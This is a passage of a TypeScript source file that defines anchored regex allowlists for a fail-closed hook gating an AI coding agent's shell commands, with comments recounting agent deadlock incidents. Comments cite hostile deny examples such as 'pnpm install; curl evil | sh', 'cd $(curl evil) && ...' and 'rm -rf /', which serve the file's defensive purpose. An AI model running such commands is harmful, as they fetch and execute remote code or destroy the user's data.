&&` cannot change what the command does to a repo, so it is not a safety\n// concern; and this stays as un-smuggleable as the rest of the hatch, because the path token accepts\n// only path characters — no whitespace, no quote, no `$`, no backtick, and no shell operator. So\n// `cd /x && pnpm install` passes while `cd $(curl evil) && pnpm install`, `cd /x; rm -rf /` and\n// `cd /x && pnpm install && rm -rf /` all still FAIL CLOSED.\n//\n// SPACES IN THE REPO PATH (2026-08-02). The bare token above admits no whitespace, so on a machine\n// whose checkout lives under `/Users/dean hiller/…`, \"Google Drive\", \"My Documents\" or an iCloud path,\n// the `cd` prefix was UNREACHABLE — every L0 escape hatch was untypable from a linked worktree, which\n// is the exact deadlock class the prefix was added to prevent. And `atRoot()` emitted the remedy\n// unquoted, so what the guard PRESCRIBED was already broken shell before any allowlist saw it.\n//\n// The cure is a SINGLE-QUOTED alternative, `'[^']+'`, and the single quotes ARE the security argument:\n// inside single quotes sh performs NO expansion whatsoever — `$(…)`, backticks, `$VAR`, `&&`, `;`, `|`\n// are all literal characters of the path — and the ONLY character that can end the quoted region is the\n// one the character class excludes. So the pattern is un-smuggleable BY CONSTRUCTION, with no cleverness\n// required: `cd '/Users/dean hiller/repo' && pnpm install` passes, and `cd '$(curl evil)' && pnpm\n// install` matches but is INERT (sh cds to a directory literally named `$(curl evil)`, which does not\n// exist, and `&&` short-circuits — nothing is fetched and nothing is executed).\n//\n// DOUBLE quotes are deliberately NOT accepted: `$` and backticks still expand inside them, so\n// `cd \"$(curl evil)\" && pnpm install` would be a real command substitution. It stays DENIED, as does\n// `cd \"/Users/dean hiller/repo\" && pnpm install` — the quote character itself is outside both branches.\n// Keep in sync with CD_PREFIX_JS_SRC (locked by a unit test).\nexport const CD_PREFIX_ERE = \"(cd[[:space:]]+([A-Za-z0-9._/@~+-]+|'[^']+')[[:space:]]*&&[[:space:]]*)?\";\n\n// JS-regex-source twin of CD_PREFIX_ERE (POSIX `[[:space:]]` → `\\s`). A unit test asserts they agree.\nexport const CD_PREFIX_JS_SRC = \"(cd\\\\s+([A-Za-z0-9._\\\\/@~+-]+|'[^']+')\\\\s*&&\\\\s*)?\";\n\n// Every hatch below starts with the anchor + the optional `cd` prefix. Spliced in place of each\n// pattern's old bare `^`, so the anchoring at both ends is unchanged.\nconst CD_PREFIX_ERE_ANCHORED = '^' + CD_PREFIX_ERE;\nconst CD_PREFIX_JS_ANCHORED = '^' + CD_PREFIX_JS_SRC;\n\n// Package-manager install commands allowed to pass the fail-closed shim so the assistant can\n// self-heal the guards (run `pnpm install`) when node_modules is absent — otherwise the guard blocks\n// the very command that re-enables it (deadlock). nx/pnpm monorepo only. POSIX ERE (fed to `grep -E`).\n//\n// What's allowed (the realistic self-heal spellings — an earlier version only matched a bare\n// `pnpm install`, so `pnpm i` and `--flag=value` got fail-CLOSED and re-deadlocked the assistant):\n// - pkg managers: pnpm | npm (this nx monorepo uses pnpm; npm is accepted as the fallback. NOT\n// yarn — this repo installs with pnpm/npm only, so yarn stays denied.)\n// - subcommands: install | i (`pnpm i` / `npm i` is just shorthand for `install`)\n// - flags: zero or more `--flag` / `--flag=value` tokens (no whitespace, no operators)\n//\n// An optional LEADING `cd <path> &&` (CD_PREFIX_ERE) — added 2026-07-30. The old comment here argued a\n// `cd` is never needed because Claude Code starts at the repo root. That is false in a LINKED WORKTREE:\n// git copies no node_modules into a new worktree, so the very first call there needs an install in THAT\n// tree, and the harness resets a cwd that left the workspace, so `cd <worktree> && pnpm install` is the only\n// spelling that reaches it. Denying the prefix made the cure unreachable from the one place it was\n// needed. It widens nothing: the prefix cannot change what the install does, and the path token admits\n// no operator (see CD_PREFIX_ERE).\n//\n// Why it's un-smuggleable (the whole point of failing closed): the tail is anchored to `$` and only\n// accepts `--word` tokens, so no shell operator (`;`, `&&`, `|`, backticks, `$()`, `>`, `<`) can ride\n// along — `pnpm install && rm -rf /` and `pnpm install; curl evil | sh` still FAIL CLOSED.\n// Keep in sync with INSTALLER_ALLOW_JS below (locked by a unit test).\nconst INSTALLER_BODY_ERE = '(pnpm|npm)[[:space:]]+(install|i)([[:space:]]+--[A-Za-z][A-Za-z0-9=._/@:-]*)*';\nexport const INSTALLER_ALLOW_ERE =\n CD_PREFIX_ERE_ANCHORED + INSTALLER_BODY_ERE + CAPTURE_TAIL_ERE;\n\n// JS-regex twin of INSTALLER_ALLOW_ERE (POSIX `[[:space:]]` → `\\s`). The fail-closed shim (pure sh)\n// uses the ERE for the missing-bin case; the runner uses THIS twin (runBashInternal) so installer\n// commands also pass when the bin IS installed but the config is invalid/ahead of the validator —\n// same deadlock, other side. A unit test asserts the two agree on a sample set.\nconst INSTALLER_BODY_JS = '(pnpm|npm)\\\\s+(install|i)(\\\\s+--[A-Za-z][A-Za-z0-9=._/@:-]*)*';\nexport const INSTALLER_ALLOW_JS =\n new RegExp(CD_PREFIX_JS_ANCHORED + INSTALLER_BODY_JS + CAPTURE_TAIL_JS_SRC);\n\n// The RECOVERY command, allowed alongside INSTALLER_ALLOW_ERE on every fail-closed path.\n//\n// Why a plain `pnpm install` is NOT enough (learned the hard way): when node_modules is CORRUPT — a\n// package half-written by an install that was killed mid-copy — pnpm sees a package dir carrying the\n// right version in its package.json, considers it installed, and SKIPS it. `pnpm install` cheerfully\n// reports \"up to date\" and the corruption survives every retry. The only reliable cure is to delete\n// node_modules so pnpm re-materializes the package from the (healthy) global store. So the fail-closed\n// escape hatch MUST allow the wipe too, or the assistant is left denying its own cure (deadlock).\n//\n// Kept as tight as INSTALLER_ALLOW_ERE: anchored at both ends, the ONLY shell operator accepted is a\n// single `&&` in exactly one position, and the rm target is literally `node_modules` — nothing else.\n// So `rm -rf /`, `rm -rf node_modules/../..`, `rm -rf node_modules; curl evil | sh` all stay DENIED.\n// Keep in sync with RECOVERY_ALLOW_JS below (locked by a unit test).\nconst RECOVERY_BODY_ERE =\n 'rm[[:space:]]+-rf[[:space:]]+(\\\\./)?node_modules/?([[:space:]]*&&[[:space:]]*(pnpm|npm)[[:space:]]+(install|i)([[:space:]]+--[A-Za-z][A-Za-z0-9=._/@:-]*)*)?';\nexport const RECOVERY_ALLOW_ERE =\n CD_PREFIX_ERE_ANCHORED + RECOVERY_BODY_ERE + CAPTURE_TAIL_ERE;\n\n// JS-regex twin of RECOVERY_ALLOW_ERE (POSIX `[[:space:]]` → `\\s`). A unit test asserts the two agree.\nconst RECOVERY_BODY_JS =\n 'rm\\\\s+-rf\\\\s+(\\\\.\\\\/)?node_modules\\\\/?(\\\\s*&&\\\\s*(pnpm|npm)\\\\s+(install|i)(\\\\s+--[A-Za-z][A-Za-z0-9=._/@:-]*)*)?';\nexport const RECOVERY_ALLOW_JS =\n new RegExp(CD_PREFIX_JS_ANCHORED + RECOVERY_BODY_JS + CAPTURE_TAIL_JS_SRC);\n\n// The exact command we tell the human/assistant to run to recover a corrupt node_modules.\nexport const RECOVERY_CMD = 'rm -rf node_modules && pnpm install';\n\n// `git fetch`. Part of the ONE L0 allowlist (see L0_ALLOW_ERE), so it is allowed under EVERY\n// L0 fault, not just drift. It used to be gated on drift alone, on the reasoning that no amount of\n// git can fix a missing/broken bin. True but irrelevant: an allowlist entry that cannot help also\n// cannot hurt, and the gating had a real cost — under a stale committed shim, a git sync is the ONLY\n// cure when the CHECKOUT is the stale side, and it was denied. Ungating it removes that trap.\n//\n// `merge` was REMOVED from this list. It was accepted here while the guards are DOWN, and the drift\n// message had to spend a sentence telling the reader NOT to use the thing the allowlist permits —\n// because redirect-how-to-merge-main blocks `git merge` in every form the moment the guards come back.\n// Main is merged only through the 3-point fork merge (`wp-start-*`). With one global allowlist that\n// hole would widen from one fault to every fault, so the entry goes rather than the gating.\n//\n// The deadlock this entry exists for, hit 2026-07-17:\n//\n// The drift guard was written for ONE direction — you `git pull`, the new package.json pins a NEWER\n// @webpieces, node_modules is still OLD, and `pnpm install` catches it up. But the comparison is a\n// plain `!=`, so it fires just as hard in the INVERSE case: check out a branch (or a local `main`)\n// that is BEHIND origin, and now the PIN is the stale side while node_modules is correct and NEWER.\n//\n// In that inverse case `pnpm install` is not the cure, it is the disease: it happily DOWNGRADES\n// node_modules to the stale pin. The real cure is a git sync — which the guard denied, because the\n// allowlist only ever contained the installer. So the assistant was told to run the one command that\n// made things worse, while the fix was blocked. Allow the sync commands here and the deadlock is gone.\n//\n// `pull` WAS THEN REMOVED FROM THIS ENTRY (2026-08-10, audit finding C6) — which is why it is now named\n// for the fetch subcommand alone. The entry was `(pull|fetch)` and marked TERMINAL ('allow'), so it\n// short-circuited every downstream guard. redirect-how-to-merge-main exists to block exactly one thing:\n// `git pull origin main` on a FEATURE branch, because a raw pull there merges main INTO the branch and\n// destroys the fork point that the 3-point merge, `nx affected --base=` and the PR review diff are all\n// computed from. Under an L0 fault the drift message TOLD the agent to run `git pull origin main` and\n// this entry PERMITTED it, on whatever branch it happened to be standing on. The damage is silent: it\n// surfaces later as a build gate that rebuilt the wrong scope and a PR diff describing work nobody did.\n//\n// The fetch subcommand cannot merge anything, so it can never poison a fork point, and it stays terminal\n// here. `git pull` now falls THROUGH to redirect-how-to-merge-main, which allows it on main and blocks\n// it on a feature branch — the correct matrix, and the one that guard was written to enforce. A BARE\n// `git pull` (syncing a shared feature branch with origin/<same-branch>) is not blocked by that guard\n// either; it simply is no longer waved past every OTHER guard on the way. The on-main cure keeps a\n// terminal spelling of its own — CHECKOUT_MAIN_PULL_BODY_ERE below.\n//\n// Kept exactly as tight as INSTALLER_ALLOW_ERE: anchored at both ends, and every argument token is a\n// bare word or `--flag` — so no shell operator (`;`, `&&`, `|`, backticks, `$()`, `>`) can ride along.\n// A trailing `; curl evil | sh` still FAILS CLOSED. Deliberately NOT a general `git checkout`: switching\n// branches is what CAUSES this drift, and a fail-closed escape hatch should only contain cures.\n// Keep in sync with FETCH_ALLOW_JS below (locked by a unit test).\n// webpieces-disable no-fetch -- a POSIX ERE matching the git subcommand of that name, not an HTTP call\nconst FETCH_BODY_ERE = 'git[[:space:]]+fetch([[:space:]]+(--)?[A-Za-z0-9][A-Za-z0-9=._/@:-]*)*';\nexport const FETCH_ALLOW_ERE =\n CD_PREFIX_ERE_ANCHORED + FETCH_BODY_ERE + CAPTURE_TAIL_ERE;\n\n// JS-regex twin of FETCH_ALLOW_ERE (POSIX `[[:space:]]` → `\\s`). A unit test asserts the two agree.\n// webpieces-disable no-fetch -- the JS twin of the ERE above; still the git subcommand, not an HTTP call\nconst FETCH_BODY_JS = 'git\\\\s+fetch(\\\\s+(--)?[A-Za-z0-9][A-Za-z0-9=._/@:-]*)*';\nexport const FETCH_ALLOW_JS =\n new RegExp(CD_PREFIX_JS_ANCHORED + FETCH_BODY_JS + CAPTURE_TAIL_JS_SRC);\n\n// THE ONE PULL SPELLING THAT IS ALWAYS FORK-POINT-SAFE — the other half of the C6 fix above.\n//\n// `git checkout main && git pull origin main` ends on MAIN. The feature branch is not checked out, not\n// merged into, not touched at all: there is no fork point to destroy, on any branch, ever. That is what\n// earns it a terminal entry on a list where a bare `git pull origin main` no longer has one. When the\n// agent is ALREADY on main the checkout is a harmless no-op, so this one literal covers the on-main case\n// too and needs no second entry.\n//\n// ─── WHY L0 KEEPS THE RAW GIT WHILE THE WORKFLOW LAYER MOVED TO `pnpm wp-checkout-clean-main` ─────────\n// `wp-checkout-clean-main` is this exact pairing with `wp-cleanup` and the orphan-directory sweep welded\n// on, and the WORKFLOW guards (stale-main-bash-guard's preferred cure, merged-branch-message,\n// TreeRecovery, the L2 rows) now prescribe it instead of these two git commands — one intention, one\n// spelling, and the sweep actually runs.\n//\n// THIS ENTRY DELIBERATELY DOES NOT FOLLOW THEM, and that is not the two-spellings shim it looks like.\n// The fault L0 is curing is `node_modules` disagreeing with the pin — which means `node_modules` is\n// PRECISELY the thing that cannot be trusted. A `pnpm wp-*` bin resolves through it, so the one class of\n// cure that may not appear on an L0 allowlist is a cure that has to load the package it is repairing.\n// Raw git needs nothing but git. Replacing this literal with the `pnpm` spelling would delete the only\n// working escape from a deadlock, in the one state where every other tool call is already denied.\n//\n// The two layers are therefore not two spellings of one thing; they are two different things that\n// happen to share a prefix. Read the L0 one as \"get main, with no working package manager\".\n//\n// A NARROW LITERAL, deliberately. The rationale above — `git checkout` is what CAUSES this drift, and a\n// fail-closed hatch should only contain cures — is intact: `main` is hard-coded, no flags are accepted,\n// and there is NO general `git checkout <branch> &&` prefix. `git checkout feat && git pull origin main`,\n// the exact command redirect-how-to-merge-main blocks, stays REFUSED here; so do `git checkout main`\n// alone (it cures nothing) and anything chained onto either end.\n// Keep in sync with CHECKOUT_MAIN_PULL_BODY_JS below (locked by a unit test).\nconst CHECKOUT_MAIN_PULL_BODY_ERE =\n 'git[[:space:]]+checkout[[:space:]]+main[[:space:]]*&&[[:space:]]*git[[:space:]]+pull[[:space:]]+origin[[:space:]]+main';\n\n// JS-regex twin of CHECKOUT_MAIN_PULL_BODY_ERE (POSIX `[[:space:]]` → `\\s`). A unit test asserts they agree.\nconst CHECKOUT_MAIN_PULL_BODY_JS =\n 'git\\\\s+checkout\\\\s+main\\\\s*&&\\\\s*git\\\\s+pull\\\\s+origin\\\\s+main';\n\nexport const CHECKOUT_MAIN_PULL_ALLOW_ERE =\n CD_PREFIX_ERE_ANCHORED + CHECKOUT_MAIN_PULL_BODY_ERE + CAPTURE_TAIL_ERE;\nexport const CHECKOUT_MAIN_PULL_ALLOW_JS =\n new RegExp(CD_PREFIX_JS_ANCHORED + CHECKOUT_MAIN_PULL_BODY_JS + CAPTURE_TAIL_JS_SRC);\n\n/**\n * The exact bytes every L0 message prescribing the on-main sync must print.\n *\n * L0 ONLY. The workflow guards prescribe `pnpm wp-checkout-clean-main`; this constant is for the faults\n * where `node_modules` is the thing under suspicion and no `pnpm` bin can be relied on to run. See the\n * block comment above CHECKOUT_MAIN_PULL_BODY_ERE for the full argument, and do not \"unify\" the two.\n */\nexport const CHECKOUT_MAIN_PULL_CMD = 'git checkout main && git pull origin main';\n\n// The CURE for the committed-shim self-guard (now enforced by the binary — see committedShimStale\n// below): regenerate .claude/webpieces/ai-hook.sh from renderShim(). Allowed while that guard is up —\n// like the installer, it is a webpieces-owned, no-network local action whose whole job is to re-arm the\n// guard, so denying it would deadlock the assistant against its own fix. Accepts the realistic spellings of the wp-upgrade-shim bin under\n// pnpm/npm/npx; anchored at both ends with only a bare bin name, so no shell operator can ride along.\n// Keep in sync with UPGRADE_SHIM_ALLOW_JS below (locked by a unit test).\nconst UPGRADE_SHIM_BODY_ERE = '(pnpm|npm|npx)([[:space:]]+(exec|run))?[[:space:]]+wp-upgrade-shim';\nexport const UPGRADE_SHIM_ALLOW_ERE =\n CD_PREFIX_ERE_ANCHORED + UPGRADE_SHIM_BODY_ERE + CAPTURE_TAIL_ERE;\n\n// JS-regex twin of UPGRADE_SHIM_ALLOW_ERE (POSIX `[[:space:]]` → `\\s`). A unit test asserts they agree.\nconst UPGRADE_SHIM_BODY_JS = '(pnpm|npm|npx)(\\\\s+(exec|run))?\\\\s+wp-upgrade-shim';\nexport const UPGRADE_SHIM_ALLOW_JS =\n new RegExp(CD_PREFIX_JS_ANCHORED + UPGRADE_SHIM_BODY_JS + CAPTURE_TAIL_JS_SRC);\n\n// The exact command we tell the assistant to run to regenerate a reverted/edited committed shim.\nexport const UPGRADE_SHIM_CMD = 'pnpm exec wp-upgrade-shim';\n\n// The CURE for a webpieces.config.json carrying keys no validator has a schema for: delete them.\n//\n// IT HAS TO BE ON THIS LIST OR IT IS NOT A CURE AT ALL. An invalid config denies every Bash call, which\n// is precisely the state the unknown-rule error and the validation banner are read in — so a cure those\n// messages name, but the guard rejects, is worse than naming nothing: it sends the reader in a circle.\n// That is the same reasoning that put the installer and wp-upgrade-shim here, and it is why the entry\n// ships in the SAME change as the messages that prescribe it.\n//\n// Safe as a cure by construction: the pruner only ever DELETES keys the running validator has no schema\n// for, refuses renames and in-file moves, and does nothing at all when a rulesDir is configured. Accepts\n// the realistic pnpm/npm/npx spellings, anchored at both ends with only a bare bin name so no shell\n// operator can ride along. Keep in sync with PRUNE_CONFIG_BODY_JS (locked by the twin unit test).\nconst PRUNE_CONFIG_BODY_ERE = '(pnpm|npm|npx)([[:space:]]+(exec|run))?[[:space:]]+wp-prune-unknown-config';\n\n// JS-regex twin of PRUNE_CONFIG_BODY_ERE (POSIX `[[:space:]]` → `\\s`).\nconst PRUNE_CONFIG_BODY_JS = '(pnpm|npm|npx)(\\\\s+(exec|run))?\\\\s+wp-prune-unknown-config';\n\n// The entry below spells the command as PRUNE_UNKNOWN_COMMAND, IMPORTED rather than re-typed: that\n// constant is the single spelling, and a second literal here is exactly the drift that would let a\n// message prescribe a command this allowlist does not match.\n\n// The PRIMARY, version-AGNOSTIC cure for the self-guard — and the reason this exists (hit 2026-07-21):\n// the self-guard's deny used to name ONLY `pnpm exec wp-upgrade-shim`, but that bin ships in\n// @webpieces/ai-hook-rules >= 0.4.408. Every repo on an OLDER installed release — i.e. exactly the\n// repos that can hit this, since node_modules is what the shim compares itself against — got\n// \"command not found\" and was left with a hard block and no working cure. In the reporter's words, the\n// message gave \"ZERO information\" on how to actually fix it.\n//\n// A plain `cp` of the installed template over the committed shim has none of that version coupling:\n// templates/ai-hook.sh ships in EVERY release and is byte-identical to renderShim() (locked by a unit\n// test), which is exactly what the binary's committedShimStale() compares the committed shim against;\n// cp onto an existing file keeps the destination's mode, so the shim stays executable with no chmod.\n// It cures the block on any version, old or new —\n// which is why the deny now leads with it and only mentions the bin as the newer equivalent.\n//\n// Kept as tight as the other escape hatches: anchored at both ends, no flags, and BOTH paths are\n// literal webpieces-owned paths — so no other file can be read or written and no operator can ride\n// along. Keep in sync with RESTORE_SHIM_ALLOW_JS below (locked by a unit test).\nconst RESTORE_SHIM_BODY_ERE =\n 'cp[[:space:]]+(\\\\./)?node_modules/@webpieces/ai-hook-rules/templates/ai-hook\\\\.sh[[:space:]]+(\\\\./)?\\\\.claude/webpieces/ai-hook\\\\.sh';\nexport const RESTORE_SHIM_ALLOW_ERE =\n CD_PREFIX_ERE_ANCHORED + RESTORE_SHIM_BODY_ERE + CAPTURE_TAIL_ERE;\n\n// JS-regex twin of RESTORE_SHIM_ALLOW_ERE (POSIX `[[:space:]]` → `\\s`). A unit test asserts they agree.\nconst RESTORE_SHIM_BODY_JS =\n 'cp\\\\s+(\\\\.\\\\/)?node_modules\\\\/@webpieces\\\\/ai-hook-rules\\\\/templates\\\\/ai-hook\\\\.sh\\\\s+(\\\\.\\\\/)?\\\\.claude\\\\/webpieces\\\\/ai-hook\\\\.sh';\nexport const RESTORE_SHIM_ALLOW_JS =\n new RegExp(CD_PREFIX_JS_ANCHORED + RESTORE_SHIM_BODY_JS + CAPTURE_TAIL_JS_SRC);\n\n// The exact command the self-guard's deny tells the assistant to run. Works on EVERY installed version.\nexport const RESTORE_SHIM_CMD =\n 'cp node_modules/@webpieces/ai-hook-rules/templates/ai-hook.sh .claude/webpieces/ai-hook.sh';\n\n// The THIRD cure for the self-guard, and the one with the longest shelf life: the installer itself.\n//\n// `wp-install-ai-hooks` has shipped in every release of this package since it created the shim (the\n// shim's own header line names it as the managing command), and install-entry.ts calls healShim()\n// FIRST, through the dependency-free ./shim module, before it lazily requires the rule engine. So it\n// re-arms the committed shim on a tree too broken to load setup.ts, exactly like wp-upgrade-shim, and\n// it does so on releases that predate wp-upgrade-shim (< 0.4.408) where that bin is not on disk at all.\n// That combination — always present AND a named bin rather than a raw file overwrite — is why the deny\n// now leads with it: the `cp` is version-agnostic too, but Claude Code's own permission classifier\n// treats a bare cp over a repo file as something to confirm, while a named bin reads as a tool call.\n//\n// FLAGS ARE ACCEPTED. The installer's non-interactive spelling is `--target=project`, and a pattern that\n// accepted no flags at all made it untypable — the same deadlock shape as the missing `2>&1 | tail` and\n// the missing `cd` prefix: a deny naming a command the allowlist rejects. The flag token is the identical\n// one INSTALLER_BODY_ERE already allows — `--word` / `--word=value`, no whitespace, no operator — so it\n// widens nothing else: `pnpm wp-install-ai-hooks --target=project && rm -rf /` still FAILS CLOSED.\n//\n// Kept as tight as the other escape hatches: anchored at both ends, bare bin name plus `--flag` tokens\n// only, so no shell operator can ride along. Keep in sync with INSTALL_HOOKS_ALLOW_JS (locked by a unit test).\nconst INSTALL_HOOKS_BODY_ERE =\n '(pnpm|npm|npx)([[:space:]]+(exec|run))?[[:space:]]+wp-install-ai-hooks([[:space:]]+--[A-Za-z][A-Za-z0-9=._/@:-]*)*';\nexport const INSTALL_HOOKS_ALLOW_ERE =\n CD_PREFIX_ERE_ANCHORED + INSTALL_HOOKS_BODY_ERE + CAPTURE_TAIL_ERE;\n\n// JS-regex twin of INSTALL_HOOKS_ALLOW_ERE (POSIX `[[:space:]]` → `\\s`). A unit test asserts they agree.\nconst INSTALL_HOOKS_BODY_JS =\n '(pnpm|npm|npx)(\\\\s+(exec|run))?\\\\s+wp-install-ai-hooks(\\\\s+--[A-Za-z][A-Za-z0-9=._/@:-]*)*';\nexport const INSTALL_HOOKS_ALLOW_JS =\n new RegExp(CD_PREFIX_JS_ANCHORED + INSTALL_HOOKS_BODY_JS + CAPTURE_TAIL_JS_SRC);\n\n// THE MISSING-DEPENDENCY cure — the 2026-08-05 \"pnpm install converges to the same broken state\" deadlock.\n//\n// @webpieces/ai-hook-rules reaches a consumer repo through its BINS (wp-ai-guards-hook, named in\n// .claude/settings.json), never through an import. For many releases it ALSO arrived as a transitive\n// dependency of @webpieces/nx-webpieces-rules, and a repo on a hoisting node-linker got its bins in\n// node_modules/.bin for free — so no consumer ever declared it. When that dependency edge was pruned as\n// unused (correctly: nothing imports it), the package left the tree on the very next install and every\n// wp-ai-* bin went with it.\n//\n// The shim then blocked every call and prescribed `pnpm install`, which is a NO-OP here: nothing in\n// package.json asks for the package, so the install reports \"Lockfile is up to date\" and changes\n// nothing. The reporter ran it four times, was denied every other command, and handed the block back to\n// the human. The ONLY cure is to declare the dependency — so the command that declares it has to be on\n// this list, or fault U is a guaranteed deadlock rather than a fixable one.\n//\n// Kept as tight as every other hatch: the subcommand is `add` and nothing else (never `remove`, never\n// `update`), the package is the LITERAL @webpieces/ai-hook-rules with an optional `@<version>`, and the\n// only other tokens accepted are a short `-D`-shaped flag or the same `--word[=value]` token\n// INSTALLER_BODY_ERE already allows. So no OTHER package can be installed through this entry and no\n// shell operator can ride along: `pnpm add -D @webpieces/ai-hook-rules && rm -rf /` still FAILS CLOSED.\n// Keep in sync with ADD_HOOK_PKG_ALLOW_JS below (locked by a unit test).\nconst ADD_FLAG_ERE = '(-[A-Za-z]|--[A-Za-z][A-Za-z0-9=._/@:-]*)';\nconst ADD_HOOK_PKG_BODY_ERE =\n '(pnpm|npm)[[:space:]]+add([[:space:]]+' + ADD_FLAG_ERE + ')*[[:space:]]+@webpieces/ai-hook-rules'\n + '(@[A-Za-z0-9._+-]+)?([[:space:]]+' + ADD_FLAG_ERE + ')*';\nexport const ADD_HOOK_PKG_ALLOW_ERE =\n CD_PREFIX_ERE_ANCHORED + ADD_HOOK_PKG_BODY_ERE + CAPTURE_TAIL_ERE;\n\n// JS-regex twin of ADD_HOOK_PKG_ALLOW_ERE (POSIX `[[:space:]]` → `\\s`). A unit test asserts they agree.\nconst ADD_FLAG_JS = '(-[A-Za-z]|--[A-Za-z][A-Za-z0-9=._\\\\/@:-]*)';\nconst ADD_HOOK_PKG_BODY_JS =\n '(pnpm|npm)\\\\s+add(\\\\s+' + ADD_FLAG_JS + ')*\\\\s+@webpieces\\\\/ai-hook-rules'\n + '(@[A-Za-z0-9._+-]+)?(\\\\s+' + ADD_FLAG_JS + ')*';\nexport const ADD_HOOK_PKG_ALLOW_JS =\n new RegExp(CD_PREFIX_JS_ANCHORED + ADD_HOOK_PKG_BODY_JS + CAPTURE_TAIL_JS_SRC);\n\n/** The package every wp-ai-* bin ships in — the one name fault U is about. */\nexport const HOOK_PKG = '@webpieces/ai-hook-rules';\n\n/** The version-less spelling of the fault-U cure; the deny appends `@<pin>` when it can infer one. */\nexport const ADD_HOOK_PKG_CMD = `pnpm add -D ${HOOK_PKG}`;\n\n// READ-ONLY ORIENTATION — the 2026-08-03 \"where am I standing?\" deadlock.\n//\n// Every entry above is a CURE. None of them tells you WHICH TREE you are in, and that is the one thing\n// an agent has to know before a cure can work. The incident: an agent worked in a linked worktree while\n// the drift fault (D) was measured against the PRIMARY clone ($CLAUDE_PROJECT_DIR). Its `pnpm install`\n// ran in the worktree, succeeded, and changed nothing in the tree being measured, so the block never\n// lifted. It could not run `pwd` — read-only bash was not on this list at all — so it could not see the\n// discrepancy, invented a false theory (\"the harness is stripping my `cd` prefix\"), burned five\n// identical installs and handed the problem back to the human. One allowed `pwd` ends that on attempt\n// one.\n//\n// So this entry is not a cure, it is the DIAGNOSIS the cures depend on: where am I (`pwd`,\n// `git rev-parse --show-toplevel`), which tree is this (`git worktree list`), which branch and what\n// state (`git status`, `git branch`, `git log`, `git diff`, `git show`). All local, all read-only, none\n// of them touching the network or the working tree. The sibling guard merged-branch-bash-guard already\n// permits `git status|log|diff|show|branch`, so this is the policy that already exists, applied one\n// layer out.\n//\n// THE `git worktree` TRAP. `git worktree add|remove|prune|move|repair` all MUTATE, and `git worktree`\n// is the ONLY multi-word subcommand here — which is exactly why it gets its own alternative pinned to\n// the LITERAL word `list` rather than joining the single-word set. A bare `git worktree` matches\n// nothing, and no other subcommand can reach the accepted branch. Deny cases for `add`/`remove` are\n// explicit in shim-drift.spec.ts.\n//\n// Kept at exactly the tightness of FETCH_BODY_ERE — the same argument token, `--flag` or a bare word\n// from a character class holding no shell metacharacter — so nothing can ride along: `pwd; curl evil |\n// sh`, `git status && rm -rf /`, `git log $(curl evil)` and `git status | sh` all FAIL CLOSED. Note the\n// subcommand word must follow `git` IMMEDIATELY: `git -c core.pager=evil status` and `git -C /other\n// status` stay denied, the same property the sync entry has.\n// Keep in sync with ORIENT_ALLOW_JS below (locked by a unit test).\nconst ORIENT_BODY_ERE =\n '(pwd|git[[:space:]]+(status|log|diff|show|branch|rev-parse)|git[[:space:]]+worktree[[:space:]]+list)([[:space:]]+(--)?[A-Za-z0-9][A-Za-z0-9=._/@:-]*)*';\nexport const ORIENT_ALLOW_ERE =\n CD_PREFIX_ERE_ANCHORED + ORIENT_BODY_ERE + CAPTURE_TAIL_ERE;\n\n// JS-regex twin of ORIENT_ALLOW_ERE (POSIX `[[:space:]]` → `\\s`). A unit test asserts the two agree.\nconst ORIENT_BODY_JS =\n '(pwd|git\\\\s+(status|log|diff|show|branch|rev-parse)|git\\\\s+worktree\\\\s+list)(\\\\s+(--)?[A-Za-z0-9][A-Za-z0-9=._\\\\/@:-]*)*';\nexport const ORIENT_ALLOW_JS =\n new RegExp(CD_PREFIX_JS_ANCHORED + ORIENT_BODY_JS + CAPTURE_TAIL_JS_SRC);\n\n// The command the incident turned on: the agent could not ask which tree it was standing in.\nexport const ORIENT_CMD = 'pwd';\n\n\n// The exact command the self-guard's deny names FIRST. Present in every release that has a shim.\nexport const INSTALL_HOOKS_CMD = 'pnpm exec wp-install-ai-hooks';\n\n// The non-interactive spelling of the FULL install (config + CI gate + hook wiring): the `--target`\n// flag is what replaces the interactive prompt. `--flag=value` is accepted by the same token\n// INSTALLER_BODY_ERE uses, so this spelling is pinned as a sample rather than given its own pattern.\nexport const INSTALL_HOOKS_TARGET_CMD = 'pnpm wp-install-ai-hooks --target=project';\n\n// ---------------------------------------------------------------------------\n// THE L0 ALLOWLIST — one list, consulted identically by every tooling-integrity fault.\n//\n// L0 is the outermost layer: it blocks work while node_modules, the committed shim, or\n// webpieces.config.json are in a state that makes every OTHER guard untrustworthy. Its seven faults are\n// D version drift (sh, before the bin runs) S committed shim != renderShim() (bin)\n// X bin missing (sh) C webpieces.config.json missing (bin)\n// K bin present, crashed (sh) Y a loaded rule has no config key (bin)\n// U bin missing AND the package is not declared (sh) — X's cure is a no-op here, hence its own fault\n//\n// Drawn as a decision matrix, L0 has NO genuine second dimension. Every branch reduces to\n// fault present AND call not on the allowlist -> BLOCK(messageFor(fault))\n// and the only thing that varies per fault is the MESSAGE. The applicability of each cure used to vary\n// too, but that variation was an accident of which code path a fault happened to be detected in, and it\n// cost four real defects:\n// - under S, `pnpm install` was denied — so when node_modules is the STALE side, every permitted cure\n// wrote the OLD binary's renderShim() over a NEWER committed shim, silently reverting a commit.\n// - under S, `git pull` was denied — the only cure when the CHECKOUT is the stale side.\n// - under D/X/K, every Read was denied — no way to inspect, not even the config that disables it.\n// - under C/Y, `rm -rf node_modules && pnpm install` was denied while a bare `pnpm install` passed.\n// All four disappear by consulting ONE list. See webpieces.guard-matrix.md for the rendered table.\n//\n// Composed from the BODY of each cure above so there is exactly one copy of every pattern: the\n// named exports stay the vocabulary (and keep their own tests), this union is the decision.\n//\n// L0_ALLOWLIST is that list as DATA — the one array isAllowed(), the rendered shim's grep and the\n// published matrix doc (webpieces.guard-matrix.md) all derive from, so the doc cannot describe an\n// allowlist the code does not have. Adding an entry here is the ONLY way to widen L0.\n// ---------------------------------------------------------------------------\n\n/** One tool call as L0 judges it: the tool name, the Bash command (or ''), the file target (or ''). */\nexport class L0Call {\n constructor(\n readonly toolName: string,\n readonly command: string,\n readonly filePath: string,\n ) {}\n}\n\n/**\n * One entry of THE L0 allowlist. Data-only → a class, per CLAUDE.md.\n *\n * `ere`/`js` are the twin regex BODIES for a Bash entry, or null for a tool-shaped entry (Read, the\n * webpieces.config.json target) that no regex can express. `sample` is a call this entry must accept —\n * it is what the matrix-coverage and cure-reachability tests drive isAllowed() with.\n *\n * `extraSamples` pins ADDITIONAL spellings the same entry must accept. A spelling that some deny\n * message prescribes belongs here, or nothing stops a later tightening of the pattern from making that\n * message's cure untypable again — which is the deadlock 